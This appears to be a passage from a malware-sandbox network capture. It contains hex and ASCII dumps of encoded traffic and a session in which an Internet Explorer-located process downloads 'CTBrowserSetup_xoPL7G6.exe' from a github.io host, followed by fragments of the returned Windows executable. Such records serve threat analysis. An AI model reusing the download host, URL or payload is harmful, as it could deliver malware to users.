18Hf7aIH2RdWmNGd1eEhLh0hJbNS+tVN8BAS2YIhL6cWtb50LTdfn26iBG0MQUZM/o9rHEyeUoAZT2aNzKmQwXAhFQE2rSPMtaETMAE2K3gj2HZOrSEgdKXifq5tN7wSc5buDPQBH+2VVxUZcfC2DeE5H62MbWflnaEhX1W4L83hOR+tjF1JQlEhPpXMAV/6S1OYfXOiJ63MQUKQVeEhviaRri10dQ94LAGReZH7/6FLcXEdbAueEQx5/51tXe0
2023-06-07 15:08:08 UTC	64	IN	Data Raw: 37 67 63 48 6a 66 50 31 61 73 33 74 6c 78 2f 37 32 46 56 78 38 53 77 4e 55 79 7a 6c 43 53 4b 65 68 77 53 33 4a 4d 78 6a 47 66 62 38 41 36 35 74 6d 6d 4f 2b 69 51 77 42 58 39 36 56 74 50 78 59 57 51 58 53 6e 50 47 73 52 44 52 75 72 4a 72 76 6a 45 46 39 44 45 78 44 58 2b 32 5a 37 76 77 77 79 67 76 2f 6b 41 5a 64 55 50 52 73 50 50 59 73 78 52 49 39 72 68 51 41 6a 41 6c 64 48 44 44 47 6a 46 62 66 6b 59 77 7a 53 6b 49 69 2f 54 64 59 62 44 7a 58 68 66 4c 4c 76 35 41 64 38 69 4c 4d 62 44 72 6f 69 71 64 66 69 38 71 75 4f 56 2b 68 71 78 6a 2b 6b 6c 48 41 42 31 31 2b 2b 75 54 74 72 54 4d 4a 7a 4c 6a 57 78 64 52 4c 6a 43 2f 4e 7a 55 68 61 6f 75 34 57 76 36 61 46 52 61 56 7a 75 74 53 77 49 33 63 56 46 55 33 78 67 37 61 6f 53 43 45 69 49 5a 34 51 30 54 6b 72 59 79 64 Data Ascii: 7gcHjfP1as3tlx/72FVx8SwNUyzlCSKehwS3JMxjGfb8A65tmmO+iQwBX96VtPxYWQXSnPGsRDRurJrvjEF9DExDX+2Z7vwwygv/kAZdUPRsPPYsxRI9rhQAjAldHDDGjFbfkYwzSkIi/TdYbDzXhfLLv5Ad8iLMbDroiqdfi8quOV+hqxj+klHAB11++uTtrTMJzLjWxdRLjC/NzUhaou4Wv6aFRaVzutSwI3cVFU3xg7aoSCEiIZ4Q0TkrYyd
2023-06-07 15:08:08 UTC	80	IN	Data Raw: 37 69 49 6f 72 63 78 42 55 5a 33 69 4b 51 36 45 55 4b 45 6a 67 4f 68 32 57 47 4f 36 34 53 2b 34 4e 47 2b 36 54 66 59 59 38 75 42 4e 51 53 30 50 62 7a 59 66 72 59 78 38 37 74 4e 74 4e 33 32 4f 35 55 45 66 37 61 31 31 76 5a 76 59 49 37 79 45 6a 41 46 66 7a 4c 4d 6a 50 4a 52 4d 41 56 2f 44 33 56 39 75 55 49 49 78 50 35 66 33 41 4e 4a 67 41 6e 4f 2f 6b 65 61 76 37 58 57 73 4d 52 38 67 70 51 6b 69 48 56 43 4e 4c 63 75 59 49 37 79 55 54 41 46 66 30 6c 6b 49 66 74 30 61 34 47 74 37 32 6b 35 70 44 62 4b 39 4c 67 7a 62 67 64 2f 74 6e 46 4d 67 50 57 77 71 43 43 30 4d 51 56 4b 53 77 55 50 2f 67 4e 75 42 33 2b 32 74 41 6a 4f 43 51 6a 64 2f 68 74 75 42 33 2b 32 75 45 51 45 4d 4d 62 43 2f 68 6d 75 6f 44 56 4a 76 46 70 39 74 6a 46 77 69 44 4c 4f 77 33 75 6e 37 6f 56 4c Data Ascii: 7iIorcxBUZ3iKQ6EUKEjgOh2WGO64S+4NG+6TfYY8uBNQS0PbzYfrYx87tNtN32O5UEf7a11vZvYI7yEjAFfzLMjPJRMAV/D3V9uUIIxP5f3ANJgAnO/keav7XWsMR8gpQkiHVCNLcuYI7yUTAFf0lkIft0a4Gt72k5pDbK9Lgzbgd/tnFMgPWwqCC0MQVKSwUP/gNuB3+2tAjOCQjd/htuB3+2uEQEMMbC/hmuoDVJvFp9tjFwiDLOw3un7oVL
2023-06-07 15:08:08 UTC	96	IN	Data Raw: 5a 74 50 39 6a 66 62 7a 65 73 74 36 6f 78 31 7a 50 5a 58 30 75 2b 2b 39 42 45 75 50 65 57 4a 34 6a 46 66 2f 6f 49 56 4d 31 50 4b 51 73 6b 53 68 2b 59 5a 36 65 6d 77 4d 56 73 37 67 76 59 4c 4e 77 55 68 4b 53 59 76 56 53 30 4d 39 46 4c 49 54 72 44 33 54 36 66 58 75 50 35 45 5a 5a 4f 77 51 72 44 33 47 54 67 6f 4d 76 35 63 39 6c 76 34 4d 4c 67 2f 48 45 69 78 33 54 69 77 4d 56 2b 41 41 54 55 4e 66 37 62 4f 73 47 65 33 4d 51 57 58 5a 49 51 45 66 33 70 4f 38 41 50 50 65 52 78 33 4f 68 71 79 6f 34 50 35 37 41 62 50 69 34 56 71 41 46 6c 54 6d 41 2f 4f 79 52 31 64 2b 6e 76 4b 78 4a 32 45 53 35 49 31 51 71 6c 55 73 44 46 62 68 46 72 48 61 6a 63 46 49 65 43 43 6e 41 30 75 44 38 79 45 54 30 6d 77 78 46 77 74 4c 43 58 2b 52 30 43 45 31 55 2b 77 37 43 34 74 31 65 4d 76 Data Ascii: ZtP9jfbzest6ox1zPZX0u++9BEuPeWJ4jFf/oIVM1PKQskSh+YZ6emwMVs7gvYLNwUhKSYvVS0M9FLITrD3T6fXuP5EZZOwQrD3GTgoMv5c9lv4MLg/HEix3TiwMV+AATUNf7bOsGe3MQWXZIQEf3pO8APPeRx3Ohqyo4P57AbPi4VqAFlTmA/OyR1d+nvKxJ2ES5I1QqlUsDFbhFrHajcFIeCCnA0uD8yET0mwxFwtLCX+R0CE1U+w7C4t1eMv
2023-06-07 15:08:08 UTC	112	IN	Data Raw: 59 54 5a 66 37 59 78 37 55 67 77 4d 41 56 48 57 72 54 46 63 44 4c 78 42 58 2b 32 75 6f 43 50 74 6a 45 46 2b 6e 5a 46 45 50 35 4a 30 45 6d 51 51 54 43 41 69 37 59 78 42 66 70 2b 32 44 32 41 53 63 34 39 74 30 6d 45 37 58 2b 32 4d 56 62 45 61 6e 54 41 73 54 66 43 70 6f 70 6e 65 59 53 4d 64 4c 64 36 68 6a 66 61 75 45 6e 64 54 6f 78 45 32 77 68 64 5a 4c 5a 71 2b 73 70 57 4d 51 56 2f 35 49 74 33 5a 34 43 6f 68 49 30 61 30 69 4e 42 4e 38 4e 69 78 4c 4f 36 68 49 30 50 63 52 42 54 50 7a 74 38 65 6a 38 62 50 6e 66 71 52 61 73 35 43 61 33 4b 36 71 31 63 42 53 56 65 67 49 42 2b 74 73 36 77 6b 37 59 78 42 59 41 44 30 51 56 2f 74 74 6d 6c 2b 72 63 78 6a 76 70 43 4d 51 56 2f 35 34 6a 4f 6f 38 61 51 68 49 35 78 6a 6a 68 47 4e 39 67 4a 48 50 75 70 6a 48 62 4c 72 30 6a 75 Data Ascii: YTZf7Yx7UgwMAVHWrTFcDLxBX+2uoCPtjEF+nZFEP5J0EmQQTCAi7YxBfp+2D2ASc49t0mE7X+2MVbEanTAsTfCpopneYSMdLd6hjfauEndToxE2whdZLZq+spWMQV/5It3Z4CohI0a0iNBN8NixLO6hI0PcRBTPzt8ej8bPnfqRas5Ca3K6q1cBSVegIB+ts6wk7YxBYAD0QV/ttml+rcxjvpCMQV/54jOo8aQhI5xjjhGN9gJHPupjHbLr0ju
2023-06-07 15:08:08 UTC	128	IN	Data Raw: 34 4f 56 2f 6c 32 49 53 62 68 5a 73 4d 5a 35 53 44 34 6f 2f 6b 55 6a 47 34 52 37 59 4a 6e 32 56 7a 41 63 34 6a 4c 71 66 48 72 51 61 70 74 63 67 68 6d 5a 71 75 63 78 59 34 68 33 41 33 63 6d 4e 38 67 67 30 30 68 4f 58 6a 39 4a 76 49 78 2b 74 6a 46 77 77 76 5a 69 76 6e 39 72 68 76 37 2b 64 58 59 57 68 48 36 77 39 6a 68 47 67 38 48 32 6a 56 30 75 33 4c 5a 71 77 6e 2b 62 70 51 54 52 4e 77 46 62 30 63 32 35 79 51 61 78 61 41 4d 57 6a 37 63 78 62 4b 4e 32 75 6c 31 63 44 34 31 52 61 4c 41 46 32 73 50 33 44 50 36 32 4b 58 37 2b 66 2f 61 41 72 37 63 78 42 56 53 2b 31 71 45 73 44 61 71 59 79 32 36 77 39 76 78 76 46 35 72 2b 52 56 55 52 46 43 75 77 37 67 50 6d 79 4e 2f 32 6a 55 39 36 47 32 47 4e 2f 37 65 65 6e 6a 67 71 4a 73 54 70 45 69 72 42 42 53 54 68 6a 75 63 48 Data Ascii: 4OV/l2ISbhZsMZ5SD4o/kUjG4R7YJn2VzAc4jLqfHrQaptcghmZqucxY4h3A3cmN8gg00hOXj9JvIx+tjFwwvZivn9rhv7+dXYWhH6w9jhGg8H2jV0u3LZqwn+bpQTRNwFb0c25yQaxaAMWj7cxbKN2ul1cD41RaLAF2sP3DP62KX7+f/aAr7cxBVS+1qEsDaqYy26w9vxvF5r+RVURFCuw7gPmyN/2jU96G2GN/7eenjgqJsTpEirBBSThjucH
2023-06-07 15:08:08 UTC	144	IN	Data Raw: 31 32 53 71 77 41 45 38 6e 43 42 43 67 43 34 70 36 78 4f 39 6f 5a 58 4a 61 79 63 46 46 6b 41 76 2b 4d 46 4a 2f 58 4f 69 4e 47 33 4d 51 55 4b 51 58 4a 54 77 57 4f 45 6c 7a 55 33 78 38 37 2b 36 6e 75 45 69 51 47 37 41 78 34 33 78 37 7a 76 65 4b 36 45 6b 61 59 63 41 34 48 6c 72 59 79 63 76 77 4b 59 52 32 35 48 44 77 48 45 42 56 79 76 70 6a 69 36 73 65 72 50 45 64 30 6c 2b 42 6e 6d 74 72 54 58 4a 49 37 45 57 37 69 31 36 7a 37 6f 78 4c 41 75 6f 74 31 6b 4f 66 36 46 35 64 2f 45 4e 66 31 6a 33 50 55 57 73 49 33 55 6e 6d 4a 79 6b 72 41 32 4e 4b 48 71 6b 72 50 57 59 30 44 59 74 7a 54 45 31 35 46 6a 76 2b 31 75 53 7a 62 2b 52 46 72 42 48 39 4f 77 39 34 61 72 4b 31 4d 6f 4b 72 6a 69 64 71 47 73 59 2f 70 77 54 77 41 63 32 4a 6d 5a 32 30 38 78 67 4c 58 70 43 64 77 6c Data Ascii: 12SqwAE8nCBCgC4p6xO9oZXJaycFFkAv+MFJ/XOiNG3MQUKQXJTwWOElzU3x87+6nuEiQG7Ax43x7zveK6EkaYcA4HlrYycvwKYR25HDwHEBVyvpji6serPEd0l+BnmtrTXJI7EW7i16z7oxLAuot1kOf6F5d/ENf1j3PUWsI3UnmJykrA2NKHqkrPWY0DYtzTE15Fjv+1uSzb+RFrBH9Ow94arK1MoKrjidqGsY/pwTwAc2JmZ208xgLXpCdwl
2023-06-07 15:08:08 UTC	160	IN	Data Raw: 41 34 69 62 51 66 32 5a 6f 34 79 75 46 44 6e 42 6a 46 63 76 4f 47 4f 33 45 32 41 52 49 53 49 62 32 76 37 75 7a 66 65 42 52 64 2b 67 49 78 67 30 4c 2b 5a 68 58 73 71 50 73 34 4e 4d 56 6f 75 44 31 49 72 53 65 32 77 39 4c 56 49 54 38 62 2b 52 2b 6c 57 4b 6f 2b 77 37 43 6f 68 63 35 66 2b 52 79 33 70 70 62 69 34 46 42 32 53 51 4a 37 36 74 6d 68 54 77 65 76 2b 74 5a 63 33 78 35 64 42 70 6f 43 45 69 52 77 74 71 30 67 33 78 36 4d 34 37 35 6d 45 75 59 74 6b 72 55 59 2f 42 33 38 4d 34 2f 57 68 4e 73 69 55 67 5a 32 4b 6c 45 74 2f 36 4c 70 5a 57 37 4c 39 5a 6f 4d 70 53 34 66 79 4e 47 4c 43 66 47 4e 52 79 55 41 33 41 6c 69 42 55 35 58 4a 41 42 4a 6c 51 78 4e 4f 66 56 6d 4e 34 64 53 43 50 66 53 6a 6c 37 37 6a 69 41 54 2b 68 64 71 59 49 6f 54 39 65 6d 4c 4f 64 76 69 51 Data Ascii: A4ibQf2Zo4yuFDnBjFcvOGO3E2ARISIb2v7uzfeBRd+gIxg0L+ZhXsqPs4NMVouD1IrSe2w9LVIT8b+R+lWKo+w7Cohc5f+Ry3ppbi4FB2SQJ76tmhTwev+tZc3x5dBpoCEiRwtq0g3x6M475mEuYtkrUY/B38M4/WhNsiUgZ2KlEt/6LpZW7L9ZoMpS4fyNGLCfGNRyUA3AliBU5XJABJlQxNOfVmN4dSCPfSjl77jiAT+hdqYIoT9emLOdviQ
2023-06-07 15:08:08 UTC	176	IN	Data Raw: 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 43 77 4e 6b 36 62 73 47 62 44 32 48 49 34 53 62 76 35 31 44 6d 41 77 6a 57 47 5a 39 6c 59 77 48 65 49 79 34 48 74 75 79 37 36 31 46 4b 70 52 6a 6c 4a 2f 4b 41 53 78 58 48 66 66 72 48 63 6d 42 70 61 32 43 4e 55 6e 4d 2b 4a 65 2f 6f 65 44 59 45 5a 7a 59 62 31 52 41 4d 64 59 53 6b 51 72 64 67 65 44 64 72 78 36 50 54 54 48 38 4c 4e 55 41 4e 7a 74 53 2b 6b 73 4b 72 6a 6d 64 72 57 73 50 49 66 43 50 33 6e 4c 5a 69 35 61 55 65 75 48 5a 4a 49 41 34 4b 71 32 6c 68 32 2f 71 6b 34 78 59 2f 70 6e 61 6d 50 2b 53 41 46 55 4a 7a 63 41 61 41 36 2f 43 4d 6b 53 6e 63 37 48 31 71 69 77 4c 47 4d 71 4d 4a 63 74 Data Ascii: FsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAACwNk6bsGbD2HI4Sbv51DmAwjWGZ9lYwHeIy4Htuy761FKpRjlJ/KASxXHffrHcmBpa2CNUnM+Je/oeDYEZzYb1RAMdYSkQrdgeDdrx6PTTH8LNUANztS+ksKrjmdrWsPIfCP3nLZi5aUeuHZJIA4Kq2lh2/qk4xY/pnamP+SAFUJzcAaA6/CMkSnc7H1qiwLGMqMJct
2023-06-07 15:08:08 UTC	192	IN	Data Raw: 50 72 43 2b 6b 30 77 42 58 2b 6d 73 55 56 33 35 6f 6d 52 58 31 53 62 41 4f 2f 39 73 56 64 53 2b 4b 49 70 55 6f 50 6b 52 6d 74 5a 48 41 62 6b 6c 77 36 4d 54 38 31 2f 37 78 44 7a 6e 36 32 6f 54 37 69 4b 51 42 33 72 42 53 63 33 74 50 35 2b 74 6a 45 36 5a 38 4c 36 56 4d 61 39 4e 36 47 70 4e 38 42 38 4f 31 46 65 68 49 35 57 6e 52 32 2f 4e 38 43 58 6b 4f 31 49 55 75 4d 2f 31 67 78 77 4b 31 63 38 73 4d 45 32 59 76 54 2f 47 59 6f 4d 47 6e 6d 5a 36 72 61 5a 65 53 43 4c 55 4d 6f 51 56 57 69 45 2b 6b 30 77 42 58 39 79 77 42 70 4a 35 49 76 57 75 4b 43 39 68 49 33 6b 6e 34 63 50 4e 2f 4e 36 36 64 30 79 6a 47 33 49 48 6b 7a 32 30 33 36 69 69 52 41 53 72 42 6c 54 69 6b 4f 6e 69 44 46 66 2f 6a 50 4b 42 48 2b 32 77 58 42 55 51 47 4b 2b 33 52 51 44 35 50 35 46 55 7a 78 2b Data Ascii: PrC+k0wBX+msUV35omRX1SbAO/9sVdS+KIpUoPkRmtZHAbklw6MT81/7xDzn62oT7iKQB3rBSc3tP5+tjE6Z8L6VMa9N6GpN8B8O1FehI5WnR2/N8CXkO1IUuM/1gxwK1c8sME2YvT/GYoMGnmZ6raZeSCLUMoQVWiE+k0wBX9ywBpJ5IvWuKC9hI3kn4cPN/N66d0yjG3IHkz2036iiRASrBlTikOniDFf/jPKBH+2wXBUQGK+3RQD5P5FUzx+
2023-06-07 15:08:08 UTC	208	IN	Data Raw: 58 6d 30 4c 44 66 4f 46 31 55 33 2f 49 52 56 54 41 6b 4e 4a 54 63 44 49 44 57 66 4d 59 43 75 4e 38 37 68 39 31 41 67 68 45 31 5a 33 47 42 48 30 4c 54 46 2f 6e 54 49 6e 58 4f 79 73 4f 2b 4b 4c 6a 30 42 2b 31 50 32 42 32 68 39 36 33 54 2b 68 42 52 79 59 38 47 77 4c 34 70 73 54 64 66 2b 6e 4a 54 76 31 65 2b 77 78 77 55 68 59 77 50 2b 58 45 65 53 4c 62 43 77 2b 73 4a 48 72 38 32 34 74 44 72 43 78 32 65 31 31 2f 39 4b 41 34 52 4e 77 57 31 6c 78 44 62 4e 2f 66 36 45 70 6f 58 62 70 67 78 32 45 2f 31 75 68 45 33 5a 47 62 32 39 4d 2f 47 4d 79 72 45 7a 42 58 38 49 67 46 5a 53 71 72 58 48 2f 6c 6a 41 50 6c 4b 46 73 50 4e 65 67 61 53 73 2f 6e 41 53 32 68 55 4a 4d 50 66 30 41 7a 59 48 66 37 62 47 77 6a 6a 62 57 6d 6d 34 74 43 55 47 7a 50 4a 58 67 4b 59 33 4d 30 6a 42 Data Ascii: Xm0LDfOF1U3/IRVTAkNJTcDIDWfMYCuN87h91AghE1Z3GBH0LTF/nTInXOysO+KLj0B+1P2B2h963T+hBRyY8GwL4psTdf+nJTv1e+wxwUhYwP+XEeSLbCw+sJHr824tDrCx2e11/9KA4RNwW1lxDbN/f6EpoXbpgx2E/1uhE3ZGb29M/GMyrEzBX8IgFZSqrXH/ljAPlKFsPNegaSs/nAS2hUJMPf0AzYHf7bGwjjbWmm4tCUGzPJXgKY3M0jB
2023-06-07 15:08:08 UTC	224	IN	Data Raw: 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 57 77 41 41 59 2f 70 6e 42 46 4f 79 36 59 41 41 6c 52 39 35 6c 49 64 31 75 4a 41 43 74 44 45 46 52 30 4f 34 7a 79 31 42 38 33 72 4a 42 69 4f 4f 36 73 73 7a 42 58 2f 51 74 4e 66 32 49 39 30 45 66 37 61 34 7a 78 38 47 4c 7a 6c 68 75 62 52 47 51 37 59 78 5a 43 30 39 70 4f 6c 2b 74 6a 47 41 74 55 6c 45 53 59 41 44 49 51 52 2f Data Ascii: wAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAY/pnBFOy6YAAlR95lId1uJACtDEFR0O4zy1B83rJBiOO6sszBX/QtNf2I90Ef7a4zx8GLzlhubRGQ7YxZC09pOl+tjGAtUlESYADIQR/
2023-06-07 15:08:08 UTC	240	IN	Data Raw: 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 41 46 73 41 74 66 4c 2b 51 4b 68 64 54 77 79 77 38 7a 31 34 5a 6e 44 2b 51 48 6d 46 34 57 54 47 77 34 66 39 38 50 76 2b 63 44 45 56 66 37 59 4a 78 2f 59 7a 37 67 52 2f 74 6c 63 38 72 41 37 6c 2f 75 5a 45 73 66 2b 56 73 77 50 59 74 49 43 31 31 48 72 31 52 57 4f 68 48 37 69 6a 66 61 59 63 54 43 4a 39 4e 6a 79 35 50 62 54 61 66 72 59 78 43 76 75 69 4e 41 56 2f 63 62 52 77 66 62 59 78 58 44 70 39 43 47 50 57 75 47 47 41 72 6a 65 45 63 48 32 32 4d 64 65 34 Data Ascii: FsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAAFsAtfL+QKhdTwyw8z14ZnD+QHmF4WTGw4f98Pv+cDEVf7YJx/Yz7gR/tlc8rA7l/uZEsf+VswPYtIC11Hr1RWOhH7ijfaYcTCJ9Njy5PbTafrYxCvuiNAV/cbRwfbYxXDp9CGPWuGGArjeEcH22Mde4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49823	185.199.110.153	443	C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-07 15:08:48 UTC	245	OUT	GET /quickme/CTBrowserSetup_xoPL7G6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: quickcheckx.github.io Cache-Control: no-cache
2023-06-07 15:08:48 UTC	245	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2886568 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() Last-Modified: Wed, 19 Apr 2023 22:06:43 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "644065f3-2c0ba8" expires: Wed, 07 Jun 2023 14:49:58 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: E1E6:9757:12D5A70:136FD78:648096BD Accept-Ranges: bytes Date: Wed, 07 Jun 2023 15:08:48 GMT Via: 1.1 varnish Age: 456 X-Served-By: cache-fra-eddf8230023-FRA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1686150529.549414,VS0,VE12 Vary: Accept-Encoding X-Fastly-Request-ID: fcd51fe7ec03a744860215a99fb9e65284e8d099
2023-06-07 15:08:48 UTC	246	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 46 1d 55 4d 02 7c 3b 1e 02 7c 3b 1e 02 7c 3b 1e d1 0e 38 1f 43 7c 3b 1e 64 13 c6 1e 07 7c 3b 1e 50 09 3f 1f 17 7c 3b 1e 50 09 38 1f 1e 7c 3b 1e 50 09 3e 1f 6a 7c 3b 1e d1 0e 3f 1f 42 7c 3b 1e d1 0e 3d 1f 03 7c 3b 1e c3 09 32 1f d3 7d 3b 1e c3 09 38 1f 00 7c 3b 1e d1 0e 3e 1f d3 7c 3b 1e d1 0e 3a 1f 35 7c 3b 1e 02 7c 3a 1e c1 7e 3b 1e c3 09 3e 1f 0c 7c 3b 1e c3 09 c4 1e 03 7c 3b Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$FUM\|;\|;\|;8C\|;d\|;P?\|;P8\|;P>j\|;?B\|;=\|;2};8\|;>\|;:5\|;\|:~;>\|;\|;
2023-06-07 15:08:48 UTC	262	IN	Data Raw: 43 ee b8 0b 89 5c eb 1d 1d a4 e5 90 06 09 98 e8 07 3d 16 19 f9 0f f7 ff 74 07 ed 12 66 78 60 51 08 37 43 e5 3b 98 1d 09 b9 73 08 0a ed 93 32 08 42 06 ef 35 8f 0d 99 b0 7a 23 75 30 b8 bf a0 4e c5 bf ff 39 1e 74 73 39 06 0f 85 76 16 89 06 38 5e 14 e6 fd 15 7c 0a 0f f3 e8 f6 08 f3 38 bd 77 a7 0b 8d 7e 0c 2c 37 2b 43 0e 36 1c 7c 21 f7 35 4c 30 69 e6 72 f0 3b 16 05 f0 aa 8f 2b 2c f1 c1 1f e9 85 71 21 0d cc 14 7a a1 2e 9f 3f 18 26 d9 d7 4c ec 3d 10 c4 6a 20 0f 5a e9 12 04 43 59 23 e4 c8 14 c1 62 b0 15 01 a5 e9 98 5c 02 c3 f0 f6 49 6b bd cf 8b d7 99 5c d5 77 80 1c ac f8 06 ec e2 73 b9 90 cb 82 d0 07 08 ec 88 76 f1 c9 96 ec eb 8c 58 b0 d0 56 29 b5 3b 28 ce fb 89 11 eb 2c 1e 11 00 af da 17 eb 7a 76 89 16 12 ad 88 d2 40 74 08 03 16 18 60 a9 6c 19 50 09 08 46 0c 52 Data Ascii: C\=tfx`Q7C;s2B5z#u0N9ts9v8^\|8w~,7+C6\|!5L0ir;+,q!z.?&L=j ZCY#b\Ik\wsvXV);(,zv@t`lPFR
2023-06-07 15:08:48 UTC	278	IN	Data Raw: 28 34 bc 09 c0 c4 3b f2 50 95 c8 cc 4f b4 62 6e 16 73 0c 64 8e 0d 06 53 0a 82 42 17 09 eb 0b 1d 40 0d 0b 64 0c 7d 02 43 84 5c dd 2c 41 06 42 56 c0 94 a0 2e 2a 60 05 98 94 62 55 19 e6 05 8d 51 e2 21 00 23 3e 11 83 4c 81 e0 44 08 60 7b 59 59 cd 95 58 64 99 bf 0c 0c 77 45 dc 20 07 6e 8c 8b d3 4a 2c 0f 40 08 c2 45 b5 28 25 af fc 10 8d 4d c8 08 89 4d c8 0b 5c c0 2d 28 b2 07 6f 72 23 80 c9 0c 0f d8 6c a6 01 18 e5 0e 63 4c c3 5b 7a 83 07 48 36 5c e6 89 81 2c 4c 10 65 90 12 2b a1 55 d9 71 58 c9 81 34 8a 10 11 ac 82 d0 02 1b 38 98 94 ea a8 20 04 d9 f5 67 52 f1 82 d0 60 58 dc fe 86 d7 e1 d2 a0 e0 e0 7a fb 5f 02 b8 b8 4c 39 41 8b dc 9f 00 91 1e 1b f8 55 d0 ae 3a 13 70 e9 c6 b2 21 c0 29 68 06 44 2e 70 d4 4e 08 d6 b5 05 c5 00 7a cc c4 47 04 c6 50 96 16 a7 ca d2 40 dd Data Ascii: (4;PObnsdSB@d}C\,ABV.*`bUQ!#>LD`{YYXdwE nJ,@E(%MM\-(or#lcL[zH6\,Le+UqX48 gR`Xz_L9AU:p!)hD.pNzGP@
2023-06-07 15:08:48 UTC	294	IN	Data Raw: ad 43 4c c6 d0 e4 eb f0 15 01 a2 06 24 96 3c d4 79 97 80 cf 41 25 32 43 24 3b 82 6d 36 41 29 06 d1 47 54 bc 51 00 91 47 0c 8b 05 6c 3f d7 de b5 01 fe 94 8b d0 31 ed 34 70 25 7b d8 dd 00 8f a1 91 2f 1a e0 e2 f0 49 a5 68 d6 90 02 44 e5 3e ee 17 90 06 df ef 46 62 c7 06 4e 35 ea 78 f0 04 fb 5b 84 c3 76 13 40 62 0c b8 66 47 7f 47 3b 24 80 f3 19 6e 72 ed 1e 14 86 49 40 0b 92 0e 9d d9 58 c7 a9 c8 40 48 e5 02 01 de 44 9c a4 b2 b9 fc 02 02 0e 6a 12 a0 2d 24 a0 92 87 4a 2e 44 02 00 e6 84 8c 90 21 96 6a c6 02 79 4a 4e 9d 25 07 52 99 e0 ab 89 17 d5 02 0a 9e a1 96 f9 84 4c 20 60 2d 6b db 1c 9a e6 40 f5 03 df a5 95 e7 1c 1c 2e 7d e4 40 64 42 6b c3 1c 56 b2 cd 87 19 79 0d 60 eb 23 2b 6b 5c 2a c1 18 a7 9c 98 54 4c ab 8c 05 d5 1d b8 15 92 ab ca 75 99 6a e5 18 71 1c 52 79 Data Ascii: CL$<yA%2C$;m6A)GTQGl?14p%{/IhD>FbN5x[v@bfGG;$nrI@X@HDj-$J.D!jyJN%RL `-k@.}@dBkVy`#+k\*TLujqRy
2023-06-07 15:08:48 UTC	310	IN	Data Raw: 67 7c 16 8e f2 21 04 34 24 06 44 c8 24 7c a0 1b 0a 23 74 5a b8 18 c8 83 7e 3c f4 b4 16 3b ca d1 6b 18 67 c8 b8 f5 eb 13 78 a3 d1 65 3b c8 7c 11 94 c1 84 53 25 58 c4 4a 86 d4 a7 0e b0 14 d8 12 56 49 9d 5a b9 60 af b9 7e 2c 06 32 d8 a0 12 ef 6a 1c 5a f9 30 4d 41 0f 51 78 af af de 0d 56 c6 e9 21 80 48 10 03 5b 88 7e fd a6 89 10 5a 01 ff 0c 2e 4e 16 85 46 23 7a 1d 4e d7 53 35 b0 9e 46 25 1a 48 0e 54 a4 cc 29 20 18 46 ab 80 05 22 f8 03 c9 7e 89 0c 78 c8 e8 b0 b8 68 fc ff d1 3f a4 83 20 54 cd 8a e3 77 d3 c2 4b 10 ac 75 13 8a c1 8b fb 17 2b ee 70 c2 04 32 c1 88 7a e9 9a 8d a0 87 df d4 4b 08 dc e1 01 9d 10 49 a4 41 31 6c 6e f5 0d ec 9d 74 ff e9 c7 fe 3a 29 17 8a 43 08 32 ec f2 85 dd 16 22 c2 30 08 0c 33 43 04 31 14 a6 6d c7 de 93 23 ca 91 40 8c 43 18 06 47 b8 c7 Data Ascii: g\|!4$D$\|#tZ~<;kgxe;\|S%XJVIZ`~,2jZ0MAQxV!H[~Z.NF#zNS5F%HT) F"~xh? TwKu+p2zKIA1lnt:)C2"03C1m#@CG
